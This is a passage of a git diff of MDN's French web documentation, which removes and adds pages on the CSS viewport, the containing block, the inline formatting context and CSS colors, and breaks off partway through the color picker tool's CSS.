Note : La méthode du DOM {{domxref("Window.getComputedStyle", "getComputedStyle()")}} renvoie la valeur résolue qui correspond à la valeur calculée ou à la valeur utilisée selon la propriété.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS2.2", "cascade.html#computed-value", "computed-value")}}{{Spec2("CSS2.2")}}
{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}{{Spec2("CSS2.1")}}Définition initiale.
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/concepts_viewport/index.html b/files/fr/web/css/concepts_viewport/index.html deleted file mode 100644 index 56143515c0..0000000000 --- a/files/fr/web/css/concepts_viewport/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Concepts relatifs au viewport -slug: Web/CSS/Concepts_viewport -tags: - - CSS - - Guide - - viewport -translation_of: Web/CSS/Viewport_concepts ---- -

{{CSSRef}}

- -

Dans cet article, nous définirons le concept de viewport ou de zone d'affichage, les différences entre la zone d'affichage visuelle et la zone d'affichage pour la disposition. Nous verrons également ce que signifie la zone d'affichage pour CSS, SVG et pour les appareils mobiles.

- -

Qu'est-ce qu'une zone d'affichage (viewport) ?

- -

Une zone d'affichage (aussi appelée viewport en anglais) représente la zone actuellement visible sur l'appareil. Pour un navigateur web, la zone d'affichage correspond généralement à la fenêtre du navigateur sans les éléments d'interface du navigateur (barre de menu, etc.). Bref, sur le Web, la zone d'affichage correspond la plupart du temps à la région à l'intérieur de la fenêtre dans laquelle vous consultez un site ou une application.

- -

Les documents (à l'instar de cet article) peuvent être très longs. La zone d'affichage correspond à ce qui est actuellement visible. Dans notre cas particulier, vous devriez pouvoir voir le titre Qu'est-ce qu'une zone d'affichage peut-être le menu de navigation. La taille de la zone d'affichage dépend de la taille de l'écran, de l'activation du mode plein écran, du niveau de zoom, etc. Le contenu situé à l'extérieur de la zone d'affichage (la section Voir aussi de ce document par exemple) n'est pas visible tant que l'utilisateur n'a pas fait défilé le contenu jusqu'à ce point.

- -
    -
  • Pour les écrans les plus grands où les applications ne sont pas nécessairement en plein écran, la zone d'affichage mesure la taille de la fenêtre du navigateur
    • -
  • Sur la plupart des appareils mobiles ou lorsque le navigateur est en plein écran, la zone d'affichage correspond à l'ensemble de l'écran
    • -
- -

En mode plein écran, la zone d'affichage sera l'écran de l'appareil, la fenêtre du navigateur pourra être plus grande ou plus petite que la zone d'affichage et le document sera le site web consulté et qui peut être plus grand ou plus large que la zone d'affichage.

- -

Pour résumer, la zone d'affichage est la zone du document actuellement visible à l'écran.

- -

Les dimensions de la zone d'affichage sont modifiables

- -

La largeur de la zone d'affichage n'est pas toujours la largeur de la fenêtre. Si vous accédez à la largeur et à la hauteur de la fenêtre et à celles du document avec Chrome ou Firefox, vous pourrez obtenir un résultat comme celui-ci :

- -
document.documentElement.clientWidth /* 1200 */
-window.innerWidth /* 1200 */
-window.outerWidth /* 1200 */
-
- -
document.documentElement.clientHeight /* 800 */
-window.innerHeight /* 800 */
-window.outerHeight /* 900 */
-
- -

Il existe plusieurs propriétés du DOM qui permettent d'obtenir la taille de la zone d'affichage et certaines dimensions associées :

- -
    -
  • La propriété du document {{DOMxRef("Element.clientWidth")}} est la largeur interne du document, exprimée en pixels CSS, et inclut le remplissage (padding) mais pas les marges, les bordures et les barres de défilement. C'est la largeur de la zone d'affichage.
    • -
  • La propriété {{DOMxRef("Window.innerWidth")}} correspond à la largeur, exprimée en pixels CSS, de la zone d'affichage dans la fenêtre du navigateur qui contient les éventuelles barres de défilement verticales.
    • -
  • La propriété {{DOMxRef("Window.outerWidth")}} correspond à la largeur extérieure de la fenêtre du navigateur et qui contient l'ensemble du chrome (les éléments d'interface utilisateur du navigateur qui ne sont pas ceux de la page web consultée).
    • -
- -

Dans l'exemple précédent, on peut voir que innerWidth et outerWidth ont la même valeur mais que outerHeight mesure 100 pixels de plus que innerHeight. En effet, outerHeight tient compte du chrome du navigateur et les mesures ont été effectuées avec un navigateur dont la barre d'adresse, les onglets et la barre de favoris mesuraient ensemble 100 pixels de haut. En revanche, il n'y avait pas de chrome à gauche ou à droite de la fenêtre.

- -

La zone contenu entre innerHeight et innerWidth correspond à la zone d'affichage pour la disposition (layout viewport). Le chrome du navigateur ne fait pas partie de la zone d'affichage.

- -

Lorsqu'on zoome, FIrefox et Chrome renvoient une nouvelle taille, en pixels CSS, pour innerWidth et clientWidth. Les valeurs renvoyées pour outerWidth et outerHeight dépendent du navigateur : Firefox rapporte la nouvelle valeur en pixels CSS et Chrome renvoie la longueur exprimée avec la taille par défaut d'un pixel. Lorsqu'on a zoomé, on pourra obtenir :

- -
document.documentElement.clientWidth /* 800 */
-window.innerWidth /* 800 */
-window.outerWidth /* 800 dans Firefox, 1200 dans Chrome */
-
- -
document.documentElement.clientHeight /* 533 */
-window.innerHeight /* 533 */
-window.outerHeight /* 596 dans Firefox, 900 dans Chrome */
-
- -

La zone d'affichage mesurait initialement 1200 x 800 pixels. Après le zoom, la zone d'affichage mesure 800 x 533 pixels. C'est la zone d'affichage pour la disposition. Avec la feuille de style suivante, les hauts et pieds de page seront placés en haut et en bas de la zone d'affichage pour la disposition.

- -
body > header {
-  position: fixed;
-  top: 0;
-}
-body > footer {
-  position: fixed;
-  bottom: 0;
-}
-
- -

On a mesuré 800 x 533 après avoir zoomé à l'aide du clavier. Le haut et le bas de page ont suivi le haut et le bas de la fenêtre. Mais que ce serait-il passé si on avait zoomé au doigt sur une tablette ? Que se serait-il passé si un clavier tactile logiciel s'était ouvert sur le bas du téléphone ?

- -

Dans le contexte du Web, on parle de deux zones d'affichage : la zone d'affichage pour la disposition (layout viewport) et la zone d'affichage visuelle (visual viewport). La zone d'affichage visuelle est la partie de la page web qui est actuellement visible dans le navigateur et qui peut changer. Lorsqu'un utilisateur zoome en pinçant, provoque l'ouverture d'un clavier tactile ou lorsqu'une barre d'adresse s'affiche, la zone d'affichage visuelle se réduit mais la zone d'affichage pour la disposition reste inchangée.

- -

Les hauts et bas de pages vus dans l'exemple précédent se caleront en haut et en bas de la zone d'affichage pour la disposition. Aussi, ils resteront visibles lorsqu'on zoome au clavier mais pourrait être masqués (partiellement ou complètement) par un clavier visuel : autrement dit, ils pourraient ne pas faire partie de la zone d'affichage visuelle.

- -

La zone d'affichage visuelle correspond à la partie de l'écran qui est visible sans contenir les claviers visuels, les zones en dehors de la région zoomée ou toute autre partie qui ne suit pas les dimensions d'une page. Ainsi, la zone d'affichage visuelle pourra avoir la même taille ou être plus petite que la zone d'affichage pour la disposition.

- -

Pour une page contenant des iframes, des objets ou des SVG externes, chaque page imbriquée et chaque fichier inclus possède son propre objet pour la fenêtre. Seule la fenêtre de plus haut niveau possède une zone d'affichage visuelle qui peut être différente de la zone d'affichage pour la disposition. Pour les éléments imbriqués, la zone d'affichage visuelle et la zone d'affichage pour la disposition sont identiques.

- -

CSS

- -

La zone d'affichage pour la disposition et la zone d'affichage visuelle mentionnées jusqu'à présent ne sont pas les seules zones d'affichages à considérer. Toute zone d'affichage imbriquée, pleinement ou partiellement affichée dans la zone d'affichage pour la disposition sera considérée comme une zone d'affichage visuelle.

- -

On pense généralement que les hauteurs et largeurs utilisées pour les requêtes média correspondent à la hauteur et à la largeur de la fenêtre du navigateur mais elles correspondent en réalité à la taille de la zone d'affichage (la fenêtre pour le document principal ou les dimensions intrinsèques des objets imbriqués). En CSS, on peut également utiliser des unités proportionnelles aux dimensions de la zone d'affichage. Un vh correspond à 1% de la hauteur de la zone d'affichage pour la disposition et vw mesurera, de façon analogue, 1% de la largeur de la zone d'affichage pour la disposition.

- -

<iframe>

- -

À l'intérieur d'une iframe, la zone d'affichage visuelle est mesurée comme la largeur et la hauteur internes de l'iframe et non comme celles du document parent. Il est possible de définir n'importe quelle hauteur et largeur pour une iframe mais le document pourra ne pas être visible dans son intégralité.

- -

Si on utilise les unités de longueur relatives à la zone d'affichage pour la mise en forme du document situé dans l'iframe, 1vh correspondra à 1% de la hauteur de l'iframe et 1vw correspondra à 1% de la largeur du document imbriqué.

- -
iframe {
-  width: 50vw;
-}
-
- -

Si l'iframe est dimensionnée à 50vw, elle mesurera 50% de large des 1200px du document parent (soit 600px). À l'intérieur de cette iframe, 1vw correspondra donc à 6px. Lorsqu'on zoomera, l'iframe se réduira à 400px de large et 1vw correspondra alors à 4px.

- -

Lorsqu'on utilise une requête média à l'intérieur du document de l'iframe, les dimensions utilisées sont relatives à la zone d'affichage de l'iframe.

- -
@media screen and (min-width: 500px) {
-  p {
-    color: red;
-  }
-}
-
- -

Si le fragment de code CSS était inclus dans l'iframe, les paragraphes seraient rouges avec un zoom utilisateur et normaux sinon.

- -

SVG

- -

Pour un document SVG, la zone d'affichage correspond à la partie de l'image SVG qui est visible à l'écran. On peut définir n'importe quelle hauteur et largeur sur un SVG mais l'image pourra ne pas être entièrement visible. La taille de la zone d'affichage pourra être définie à l'aide des attributs width et height de l'élément {{SVGElement("svg")}}.

- -
<svg height="300" width="400"></svg>
- -

Dans cet exemple, la zone d'affichage possède un ratio de 3::4 et mesure 400 x 300 unités (où les unités par défaut sont généralement des pixels CSS).

- -

SVG possède un système de coordonnées interne qui est défini grâce à l'attribut viewbox mais qui n'est pas directement lié à la problématique des zones d'affichage.

- -

Si on inclut un fichier SVG dans un document HTML, la zone d'affichage pour le SVG sera le bloc englobant initial ou la largeur et la hauteur du conteneur SVG. Si on utilise une requête média {{CSSxRef("@media")}} dans le code CSS du SVG, celle-ci sera relative à la taille du conteneur et pas à celle de la zone d'affichage du document.

- -
@media screen and (min-width: 400px) and (max-width: 500px) {
-  /* styles CSS ici */
-}
- -

Lorsqu'on utilise la requête média précédente, les styles sont généralement appliqués lorsque la fenêtre du navigateur mesure entre 400px et 500px de large. Lorsqu'on utilise cette même requête à l'intérieur d'un document SVG, ce sera la largeur du conteneur (l'élément {{htmlelement("img")}} par exemple ou l'élément parent) qui sera considérée. Autrement dit, si on utilise la requête média précédente sur un document SVG, les styles seront appliqués si le conteneur du SVG mesure entre 400 et 500 pixels.

- -

JavaScript

- -

L'API Visual Viewport fournit des outils pour récupérer et modifier les propriétés de la zone d'affichage visuelle.

- -

Zones d'affichage sur mobiles

- -

Il existe une grande variété de tailles et de proportions pour les appareils mobiles. La zone d'affichage d'un navigateur mobile est la zone de la fenêtre sur laquelle le contenu web peut être consulté et cette zone n'a pas nécessairement la même taille que la page affichée. Les navigateurs mobiles affichent les pages sur une zone d'affichage virtuelle (mesurant généralement 960px) plus large que l'écran puis réduisent le résultat afin que l'utilisateur puisse voir l'ensemle du document. L'utilisateur peut alors se déplacer ou zoomer au doigt pour accéder aux différentes zones de la page. Ainsi, si un appareil mobile a un écran large de 320px, un site web pourra être affiché selon une zone d'affichage virtuelle sur 960px puis réduit afin de pouvoir s'inscrire dans l'espace large de 320px. Le résultat ainsi obtenu risque peu d'être lisible. Pour indiquer à un navigateur mobile d'utiliser la largeur de la zone d'affichage réelle plutôt que la largeur virtuelle de 960px, on pourra placer la balise <meta> suivante :

- -
<meta name="viewport" content="width=device-width">
- -

La propriété width contrôle la taille de la zone d'affichage et on l'utilisera généralement avec device-width qui correspond à la largeur de l'écran, exprimée en pixels CSS, avec un zoom de 100%. Il est possible d'utiliser d'autres propriétés comme maximum-scale, minimum-scale et user-scalable afin de contrôler si l'utilisateur peut zoomer/dézoomer sur la page mais les valeurs par défaut restent les meilleures en termes d'accessibilité et d'ergonomie et ne seront pas plus abordées ici par souci de concision.

- -

Voir aussi

- - diff --git a/files/fr/web/css/containing_block/index.html b/files/fr/web/css/containing_block/index.html new file mode 100644 index 0000000000..6269f895b5 --- /dev/null +++ b/files/fr/web/css/containing_block/index.html @@ -0,0 +1,263 @@ +--- +title: À propos du bloc conteneur +slug: Web/CSS/A_Propos_Du_Bloc_Conteneur +tags: + - CSS + - Guide + - Reference +translation_of: Web/CSS/Containing_block +--- +
{{CSSRef}}
+ +

Le bloc englobant (containing block) affecte souvent la taille et la position d'un élément. La plupart du temps, le bloc englobant est la zone de contenu de l'ancêtre de bloc le plus proche mais cette règle n'est pas absolue. Dans cet article, nous verrons les différents facteurs qui participent à la définition du bloc englobant.

+ +

Lorsqu'un agent utilisateur (un navigateur web par exemple) dispose un document, il génère une boîte pour chaque élément du document. Chaque boîte est divisée en quatre zones :

+ +
    +
  1. La zone de contenu (content area)
    2. +
  2. La zone de remplissage (padding area)
    3. +
  3. La zone de bordure (border area)
    4. +
  4. La zone de marge (margin area)
    5. +
+ +

Diagram of the box model

+ +
+

Note : Voir cet article pour découvrir le modèle de boîtes en CSS.

+
+ +

On pourrait penser que le bloc englobant d'un élément est toujours la zone de contenu de son élément parent. Toutefois, ce n'est pas toujours le cas. Voyons donc les facteurs qui déterminent ce bloc englobant.

+ +

Les effets du bloc englobant

+ +

Avant d'aller plus loin, voyons l'impact du bloc englobant sur un élément.

+ +

Les dimensions et la position d'un élément sont souvent dépendants du bloc englobant. Les valeurs en pourcentages appliquées à des propriétés comme {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} sont calculées relativement à la taille du bloc englobant. Il en va de même pour les propriétés de décalage des éléments positionnés de façon absolue (c'est-à-dire avec {{cssxref("position")}} qui vaut absolute ou fixed).

+ +

Identifier le bloc englobant

+ +

Le bloc englobant est entièrement déterminé par la valeur de la propriété {{cssxref("position")}} pour l'élément :

+ +
    +
  • Si la propriété position vaut static, relative ou sticky, le bloc englobant est constitué par le bord de la boîte de contenu de l'ancêtre le plus proche qui est un conteneur de bloc (c'est-à-dire qui est un élément avec display qui vaut inline-block, block ou list-item) ou qui crée un contexte de formatage (tel qu'un conteneur de tableau, un conteneur flexible, un conteneur de grille ou le conteneur du bloc même).
    • +
  • Si la propriété position vaut absolute, le bloc englobant est constitué par le bord de la boîte de remplissage (padding) de l'ancêtre le plus proche dont la valeur de position est différente de static (fixed, absolute, relative ou sticky).
    • +
  • Si la propriété position vaut fixed, le bloc englobant est formé par le {{glossary("viewport")}} (ou la page dans le cas des média paginés).
    • +
  • Si la propriété position vaut absolute ou fixed, le bloc englobant peut également être constitué par le bord de la boîte de remplissage le plus proche qui a : +
      +
    1. Une propriété {{cssxref("transform")}} ou {{cssxref("perspective")}} avec une valeur différente de none
      2. +
    2. Une propriété {{cssxref("will-change")}} qui vaut transform ou perspective
      3. +
    3. Une propriété {{cssxref("filter")}} différente de none ou une propriété will-change différente of filter (ne fonctionne que pour Firefox).
      4. +
    4. Une propriété {{cssxref("contain")}} qui vaut paint.
      5. +
    +
    • +
+ +
+

Note : Le bloc englobant contenant l'élément racine ({{HTMLElement("html")}}) est situé dans un rectangle appelé bloc englobant initial. Ce dernier a les dimensions de la zone d'affichage (viewport) ou de la page (pour les média paginés).

+
+ +

Calcul des pourcentages à partir du bloc englobant

+ +

Comme mentionné ci-avant, lorsque certaines propriétés ont une valeur en pourcentage, la valeur calculée dépend du bloc contenant l'élément. Les propriétés qui fonctionnent de cette manière sont les propriétés box model et offset :

+ +
    +
  1. Les valeurs calculées des propriétés {{cssxref("height")}}, {{cssxref("top")}} et {{cssxref("bottom")}} sont construites à partir de la hauteur du bloc englobant.
    2. +
  2. Les valeurs calculées des propriétés {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}} et {{cssxref("margin")}} sont calculées à partir de la largeur (width) du bloc englobant.
    3. +
+ +

Quelques exemples

+ +

Le code HTML utilisé pour les exemples suivants sera :

+ +
<body>
+  <section>
+    <p>Et voici un paragraphe !</p>
+  </section>
+</body>
+
+ +

Premier exemple

+ +

Dans cet exemple, le paragraphe est positionné de façon statique et son bloc englobant est la zone de contenu de {{HTMLElement("section")}} car cet élément est l'ancêtre le plus proche qui est un conteneur de bloc.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Premier_exemple','100%','300')}}

+ +

Deuxième exemple

+ +

Dans cet exemple, le bloc englobant est formé par l'élément {{HTMLElement("body")}} car <section> n'est pas un conteneur de bloc en raison de display: inline et il ne crée pas de contexte de formatage.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == half the body's width */
+  height: 200px;  /* Note: a percentage would be 0 */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Deuxième_exemple','100%','300')}}

+ +

Troisième exemple

+ +

Ici, le bloc englobant du paragraphe est <section> car la propriété position de ce dernier vaut absolute. Les valeurs exprimées en pourcentages et associées au paragraphe sont relatives à la zone de remplissage du bloc englobant (ce ne serait pas le cas si la propriété {{cssxref("box-sizing")}} du bloc englobant valait border-box).

+ + + +
body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Troisième_exemple','100%','300')}}

+ +

Quatrième exemple

+ +

Dans cet exemple, la propriété position du paragraphe vaut fixed. Le bloc englobant est donc le bloc englobant initial (c'est-à-dire le viewport pour les écrans). Aussi, les dimensions du paragraphe changent selon la taille de la fenêtre du navigateur.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
+  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
+  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
+  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Quatrième_exemple','100%','300')}}

+ +

Cinquième exemple

+ +

Dans cet exemple, la propriété position du paragraphe vaut absolute. Son bloc englobant est donc <section> car c'est l'ancêtre le plus proche dont la propriété {{cssxref("transform")}} ne vaut pas none.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Cinquième_exemple','100%','300')}}

+ +

Voir aussi

+ +
    +
  • La propriété {{cssxref("all")}} permet de réinitialiser l'ensemble des déclarations CSS dans un certain état.
    • +
diff --git a/files/fr/web/css/contexte_de_formatage_en_ligne/index.html b/files/fr/web/css/contexte_de_formatage_en_ligne/index.html deleted file mode 100644 index bb40bcce6d..0000000000 --- a/files/fr/web/css/contexte_de_formatage_en_ligne/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Contexte de formatage en ligne (inline/incise) -slug: Web/CSS/Contexte_de_formatage_en_ligne -tags: - - CSS - - Guide -translation_of: Web/CSS/Inline_formatting_context ---- -

{{CSSRef}}

- -

Dans cet article, nous allons voir ce qu'est le contexte de formatage en ligne (inline formatting context).

- -

Concepts-clés

- -

Le contexte de formatage en ligne est une des méthodes permettant de créer le rendu visuel d'une page web. Les boîtes en ligne sont disposées les unes après les autres selon le mode d'écriture utilisé :

- -
    -
  • Pour un mode d'écriture horizontal, les boîtes en ligne sont disposées horizontalement de la gauche vers la droite.
    • -
  • Pour une mode d'écriture vertical, les boîtes en lignes sont disposées verticalement du haut vers le bas.
    • -
- -

Dans l'exemple qui suit, on a deux éléments ({{HTMLElement("div")}}) avec une bordure noire qui forment chacuns un contexte de formatage de bloc au sein duquel chaque mot contribue à un contexte de formatage en ligne. Les boîtes utilisées dans le mode d'écriture horizontal sont organisées horizontalement tandis que celles dans l'élément avec un mode d'écriture vertical sont disposées verticalement.

- -

{{EmbedGHLiveSample("css-examples/inline-formatting/inline.html", '100%', 720)}}

- -

Les boîtes qui forment une ligne sont contenues dans une zone rectangulaire qu'on appelle boîte de ligne (line box). Cette boîte sera assez grande pour contenir l'ensemble des boîtes en ligne de cette ligne. Lorsqu'il n'y a plus de place disponible sur l'axe en ligne, une autre ligne est créée. Ainsi, un paragraphe est formé par un ensemble de boîtes de ligne, empilées le long de l'axe de bloc.

- -

Lorsqu'une boîte en ligne est découpée en deux, les marges, bordures et le remplissage (padding) n'ont pas d'impact visuel à l'emplacement de la séparation. Dans le prochain exemple, on peut voir un élément ({{HTMLElement("span")}}) enveloppant un ensemble de mots s'étirant sur deux lignes. On voit que la bordure sur <span> est coupée au passage à la ligne.

- -

{{EmbedGHLiveSample("css-examples/inline-formatting/break.html", '100%', 720)}}

- -

Les marges, les bordures et le remplissage (padding) le long de la direction en ligne sont respectés. Dans l'exemple suivant, on peut voir comment sont ajoutés les marges, bordures et le remplissage à l'élément en ligne <span> qui a été ajouté.

- -

{{EmbedGHLiveSample("css-examples/inline-formatting/mbp.html", '100%', 920)}}

- -
-

Note : Dans ces exemples, on utilise les propriétés logiques (relatives à la direction du flux avec le mode d'écriture et la directionnalité) (ex. {{cssxref("padding-inline-start")}} plutôt que {{cssxref("padding-left")}}) afin qu'elles s'appliquent le long de la direction en ligne, que le texte soit horizontal ou vertical. Pour en savoir plus sur ces propriétés, voir les propriétés et les valeurs logiques en CSS.

-
- -

Alignement sur la direction de bloc (block)

- -

Les boîtes en ligne peuvent être alignées sur la direction de bloc de différentes façons avec la propriété {{cssxref("vertical-align")}}. Celle-ci permettra d'aligner le contenu sur l'axe de bloc (lorsque le mode d'écriture est vertical, vertical-align ne permet pas d'aligner sur l'axe vertical !). Dans l'exemple qui suit, une portion de texte plus grande rend la boîte de ligne plus grande pour la première phrase. On peut alors utiliser vertical-align afin d'aligner les boîtes en ligne. L'exemple utilise initialement la valeur top mais vous pouvez le modifier en utilisant middle, bottom ou encore baseline.

- -

{{EmbedGHLiveSample("css-examples/inline-formatting/align.html", '100%', 920)}}

- -

Alignement le long de la direction en ligne (inline)

- -

S'il reste de l'espace le long de la direction en ligne, la propriété {{cssxref("text-align")}} permetra d'aligner le contenu des boîtes en lignes au sein des boîtes de ligne. Dans l'exemple qui suit, vous pouvez notamment changer la valeur de text-align afin d'utiliser end.

- -

{{EmbedGHLiveSample("css-examples/inline-formatting/text-align.html", '100%', 920)}}

- -

Effets du flottement (float)

- -

Les boîtes de ligne ont généralement la même taille sur l'axe en ligne (c'est-à-dire la même largeur quand on utilise un mode d'écriture horizontal ou la même hauteur si on utilise un mode d'écriture vertical). S'il existe un élément flottant ({{cssxref("float")}}) au sein du même contexte de formatage de bloc, cet élément entraînera la diminution de la taille des boîtes de ligne pour celles qui entourent l'élément flottant.

- -

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/couleurs_css/index.html b/files/fr/web/css/couleurs_css/index.html deleted file mode 100644 index fb589fa689..0000000000 --- a/files/fr/web/css/couleurs_css/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Couleurs CSS -slug: Web/CSS/Couleurs_CSS -tags: - - Aperçu - - CSS - - CSS Color - - Reference -translation_of: Web/CSS/CSS_Color -translation_of_original: Web/CSS/CSS_Colors ---- -
{{CSSRef}}
- -

Les couleurs CSS (CSS Color en anglais) forment un module CSS qui décrit la manipulation des couleurs, les types de données liées aux couleurs et l'application de la transparence en CSS.

- -

Référence

- -

Propriétés CSS

- -
-
    -
  • {{cssxref("color")}}
    • -
  • {{cssxref("opacity")}}
    • -
-
- -

Types de donnée

- -
-
    -
  • {{cssxref("<color>")}}
    • -
-
- -

Guide

- -
-
Appliquer des couleurs sur des éléments HTML grâce à CSS
-
Un guide qui illustre comment utiliser CSS afin d'appliquer des couleurs sur différents contenus.
-
- -

Outils

- -
-
Un sélecteur de couleurs
-
Cet outil vous permet de créer, ajuster et manipuler des couleurs.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support simple1.0{{CompatGeckoDesktop("1")}}3.03.51.0
-
- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support simple1.0{{CompatGeckoMobile("1")}}6.06.01.0
-
- -

Voir aussi

- -
    -
  • Attention, en CSS, les dégradés de couleurs ne sont pas des couleurs mais des images.
    • -
  • Les autres propriétés relatives aux couleurs et qui font partie d'autres modules de spécification : {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}.
    • -
diff --git "a/files/fr/web/css/couleurs_css/s\303\251lecteur_de_couleurs/index.html" "b/files/fr/web/css/couleurs_css/s\303\251lecteur_de_couleurs/index.html" deleted file mode 100644 index df4aa4661c..0000000000 --- "a/files/fr/web/css/couleurs_css/s\303\251lecteur_de_couleurs/index.html" +++ /dev/null @@ -1,3235 +0,0 @@ ---- -title: Sélecteur de couleurs CSS -slug: Web/CSS/Couleurs_CSS/Sélecteur_de_couleurs -tags: - - CSS - - Outil -translation_of: Web/CSS/CSS_Colors/Color_picker_tool ---- -
-

ColorPIcker Tool

- -

HTML Content

- -
 <div id="container">
-  <div id="palette" class="block">
-   <div id="color-palette"></div>
-   <div id="color-info">
-    <div class="title">Couleurs CSS </div>
-   </div>
-  </div>
-
-  <div id="picker" class="block">
-   <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
-   <div id="picker-samples" sample-id="master"></div>
-   <div id="controls">
-    <div id="delete">
-     <div id="trash-can"></div>
-    </div>
-    <div id="void-sample" class="icon"></div>
-   </div>
-  </div>
-
-  <div id="canvas" data-tutorial="drop">
-   <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
-    data-max="20" data-sensivity="10"></div>
-  </div>
- </div>
-
-
- -

CSS Content

- -
/*
- * COLOR PICKER TOOL
- */
-
-.ui-color-picker {
-	width: 420px;
-	margin: 0;
-	border: 1px solid #DDD;
-	background-color: #FFF;
-	display: table;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-color-picker .picking-area {
-	width: 198px;
-	height: 198px;
-	margin: 5px;
-	border: 1px solid #DDD;
-	position: relative;
-	float: left;
-	display: table;
-}
-
-.ui-color-picker .picking-area:hover {
-	cursor: default;
-}
-
-/* HSV format - Hue-Saturation-Value(Brightness) */
-.ui-color-picker .picking-area {
-	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
-
-	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-
-	background-color: #F00;
-}
-
-/* HSL format - Hue-Saturation-Lightness */
-.ui-color-picker[data-mode='HSL'] .picking-area {
-	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background-color: #F00;
-}
-
